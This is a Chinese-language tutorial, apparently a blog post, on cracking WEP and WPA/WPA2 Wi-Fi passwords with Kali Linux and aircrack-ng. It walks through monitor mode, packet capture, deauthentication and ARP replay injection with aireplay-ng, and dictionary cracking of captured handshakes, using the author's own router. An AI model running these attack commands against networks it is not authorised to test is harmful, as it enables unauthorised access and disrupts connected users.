1.首先请不要使用此方法去搞破坏,去蹭Wi-Fi,因为不装逼地说,我认为技术本身的价值很大,尤其是在学习这个技术的过程中解决遇到的问题,当经过重重困难最后终于成功之后的喜悦又怎么能拿去蹭网呢。我在此过程中都是用自己路由做的测试,相信大家也可以从文中看到,所以请不要用技术做一些不好的事情。
2.欢迎使用Kali Linux 的朋友互相交流,大家共同进步学习。
索引:
1.工具
2.需要了解的知识
3.破解WEP
4.破解WPA/WPA2
5.其他
6.Q&A
7.参考文章
1.用到的工具:
Airodump-ng 获取 AP 的 MAC 信息,连接信息以及是否握手成功。
Aircrack-ng 支持基于 802.11 协议的 WEP 和 WPA/WPA2-PSK 密码破解
Aireplay-ng 强行向目标 AP 发送数据包
Airmon-ng 开启无线网卡的监视模式
Wordlists.txt 字典包
2.需要了解的知识:
AP(Access Point): 网络接入点,是一种连接无线或有线网络的设备。就是我们俗称的路由器。
MAC(Media Access Control Address): 相当于网卡的身份证,MAC 地址本身是不能修改,但是可以通过伪造MAC 地址欺骗AP。
WEP(Wireless Encryption Protocol): 无线加密协议。很早的一种加密协议,容易破解。
WPA/WPA2(Wi-FiProtected Access): 基于WEP更安全的加密系统。
Handshake:握手。我的理解相当于三次握手。
IV(Initialization Vector)s:初始化向量。
3.破解 WEP 加密的 Wi-Fi 流程(现在基本没人用WEP,只做步骤演示):
3.1
<code>iwconfig #确认网卡信息。</code>
表示设备WLAN0待命并且当前模式为被管理(Managed)。
3.2
<code>airmon-ng start wlan0 #激活网卡至监视模式。</code>
会发现不能正常开启,有5 个进程会导致错误。
解决方案:
(1).
<code>ifconfig wlan0mon down #先取消wlan0mon网卡模式</code>
<code>iwconfig wlan0mon mode monitor #直接设置wlan0mon为监视模式</code>
<code>ifconfig wlan0mon up #唤醒wlan0mon</code>
(2). 第2 步开始前, <code>airmon-ng check kill</code>,自动检查冲突程序并强制关闭。
使用<code>iwconfig</code>查询发现 wlan0mon 为监视模式
3.3 <code>airodump-ng wlan0mon #获取附近AP 信息。</code>
看到名为 TEST-jglimmers 的路由器信息。
这里解释几个参数:
BSSID(Basic Service SetIdentifier): AP 的MAC 地址。
ESSID(The Extended Service Set Identifier): AP 的名称。
PWR(Power): 信号强度。
Beacons: AP发出的通告编号,每个接入点(AP)在最低速率(1M)时差不多每秒会发送10个左右的beacon,所以它们能在很远的地方就被发现。
#Data:当前数据传输量。
#/s:过去10秒钟内每秒捕获数据分组的数量。
CH(Channel): AP 所在的频道。
MB: AP 的最大传输速度。MB=11 => 802.11b,MB=22 => 802.11b+, MB>22 => 802.11g。后面带.的表示短封包标头,处理速度快,更利于破解。
ENC(Encryption): 使用的加密算法体系。
CIPHER: 检测到的加密算法。#这个和ENC 的区别我确实不明白,有没有知道的朋友可以告诉我。
AUTH(Authority): 认证方式。
Elapsed: 用过的时间。
记录 TEST-jglimmers 的 MAC 地址(BSSID),频道(CH)。
BSSID: 88:25:93:5A:B5:6A
CH: 1
3.4 <code>airodump-ng --ivs -w 文件地址 --bssid BSSID wlan0mon #开始抓包, -w(write) 抓到的包保存的位置, --ivs表示只保留IVs 文件。(IVs 在2 中已解释)</code>
可以看到有一台 MAC 地址为 48:74:6E:2B:70:02 的设备在连接 AP 。
重新开一个终端进行下一步
3.5 <code>aireplay-ng -3 -b BSSID -h 客户端MAC wlan0mon #理论上来讲不用这一步,但是我们可以使用这条命令向 AP 发送大量数据包更快取得数据包。</code>
可以看到在第3.4 步开启的终端中有大量数据。
3.6 <code>aireplay-ng -0 10 -a 88:25:93:5A:B5:6A -c 68:17:29:26:C3:16 wlan0mon #如果发现像我一样得到的数据较少可尝试发送数据包</code>
3.7 <code>aircrack-ng01.ivs #01.ivs 在第 3.4 步的文件夹当中.</code>
等待破解成功。
4.破解 WPA/WPA2 加密的 Wi-Fi 流程
前面的过程和 3.1,3.2,3.3 一样。使 wlan0mon 处于监视模式下
4.1 <code>airodump-ng --bssid BSSID -c CH -w 文件位置 wlan0mon #-w 是抓的包输出目录,注意加-c,不然airodump-ng会每个频道都会试,一直乱跳,下一步工作不好进行。</code>
这时返回的数据表示连接上此AP 的设备信息。
重新开启一个终端,进行下一步
4.2 <code>aireplay-ng -0 10 -a BSSID -c STATION wlan0mon #-0 表示DeAuth模式,10表示攻击次数,-c是第3 步中的得到的STATION,即已连接上的客户端MAC 地址。</code>
Wi-Fi的连接过程大概有三种,发现(Unauthenticated & Unassociated,未认证,未连接)-认证(Authenticated & Unassociated,认证,未连接)-连接(Authenticated & Associated,认证,连接)。
-0(DeAuth模式): 向客户端发送数据包,让客户端误以为是AP 发送的数据。
<code>aireplay-ng -0 10 -a BSSID-c 客户端的 MAC wlan0mon</code>
-1(Fake authentication 模式):在WEP中允许两种认证类型(开放系统和共享密钥)连接AP,我们在路由器设置页面可以看到。当我没发现4.1 中没有客户端连接时候可以使用此攻击模式。
<code>aireplay-ng -1 0 -e ESSID -a AP的MAC -h 自己的MAC -y sharedkeyxor wlan0mon #0表示发送数据时间,-h 自己的MAC 可用<code>ifconfig</code>查询,-y sharedkeyxor表示共享密钥型,如果是开放系统则不用-y</code>
-2(Interactive packet replay):这个模式需要了解相关知识,可以去Interactivepacket replay 查看。
-3(ARPrequest replay): 可以了解相关知识 ARPrequest replay attack。
<code>aireplay-ng -3 -b AP的MAC -h 我们的MAC wlan0mon #可以加-r CAP.cap 加速进程,这个 CAP.cap 是上一次成功进行 ARP 连接的 cap 包。</code>
或者直接
<code>aireplay-ng -3 -r CAP.cap wlan0mon</code>
-4( KoreKchopchop):这个模式如果成功的话可以不用知道密码直接解密WEP数据包,但是有些AP 不支持此模式。
<code>aireplay-ng -4 -b AP的MAC -h 我们的MAC wlan0mon</code>
-5(Fragmentation): 碎片模式,也不包含密码信息,故不讨论,可去Fragmentationattack 查看详情。
-6(CafeLatte):可以直接从客户端系统中直接获取WEP密码,但是必须从客户端系统中获取到ARP包,并加以处理后返回给客户端。
<code>aireplay-ng -6 -b AP的MAC -h 我们的MAC -D TEST-jglimmers #-D表示取消AP 的探测</code>
-7(Hirte): 基于上一个模式的攻击,也是需要ARP请求。
<code>aireplay-ng -7 -h 我们的MAC -D TEST-jglimmers</code>
-8(WPAMigration):这个模式在我看了官方文档后感觉非常强大,强大到我想让大家自己去 WPAMigration Mode 看看。它可以将WPA强制转换成 WEP 解密,但是仅限思科的 AP(>=IOSReleases 12.2(11)JA),并且同时连接了 WEP 和 WPA 的客户端。
-9(Injection test): 测试一下网卡是否连接成功,其实我们在3.2 就已经成功,不过还是可以验证一下。
<code>aireplay-ng-9 -a AP的MAC-i wlan1wlan0mon# wlan1是模拟的一个AP。</code>
这时能看到第1 步中的设备出现了大量数据读取。
4.3 等待握手。
当经过第2 步发送大量数据包之后只要发现第1 步中右上角出现了 handshake: AP的MAC(BSSID),就可以 CRTL+C 停止。
4.4 <code>aircrack-ng -w Wordlists.txt CAP-01.cap #-w表示字典包的路径, CAP 表示第 1 步中保存的文件中 -01.cap 文件,因为我们对每个 AP 的尝试可能不止一次,所以 airodump-ng 会自动在文件名后加类似01,02这样的数字表示次数,所以记得最后破解的时候输入正确的 CAP 包名称。</code>
破解的速度一般显卡也就这样,其实我们也可以根据 GPU 加速,但是我曾经经过好几个月的试验最后发现我的显卡不支持 GPU 加速。
4.5 等待 KEY FOUND!
破解成功。
5.其他
推荐一个字典生成工具 Crunch.
6.Q&A
Q: 修改成监视模式(Monitor)失败。
A:
(1).
<code>ifconfigwlan0mondown #先取消wlan0mon网卡模式</code>
<code>iwconfigwlan0monmode monitor #直接设置wlan0mon为监视模式</code>
<code>ifconfigwlan0monup #唤醒wlan0mon</code>
(2). 所有工作开始前 <code>airmon-ngcheck kill</code> 自动检查冲突程序并强制关闭。
Q:破解之后不能正常联网。
A:
<code>ifconfigwlan0mondown</code>
<code>iwconfigwlan0monmode managed</code>
<code>ifconfigwlan0monup</code>
因为之前将 wlan0mon 改成了 监视模式(Monitor),现在要改回来(Managed)。
Q:不能握手。
A:尝试物理距离靠近路由,重复发送数据包,再等等。
Q:不能破解。
A:换强字典包。
Q:破解速度太慢。
A:尝试 GPU 加速,或使用 hashcat 加速。
7.参考文章
http://www.aircrack-ng.org/documentation.html
http://www.aircrack-ng.org/doku.php?id=airodump-ng
http://www.aircrack-ng.org/doku.php?id=fake_authentication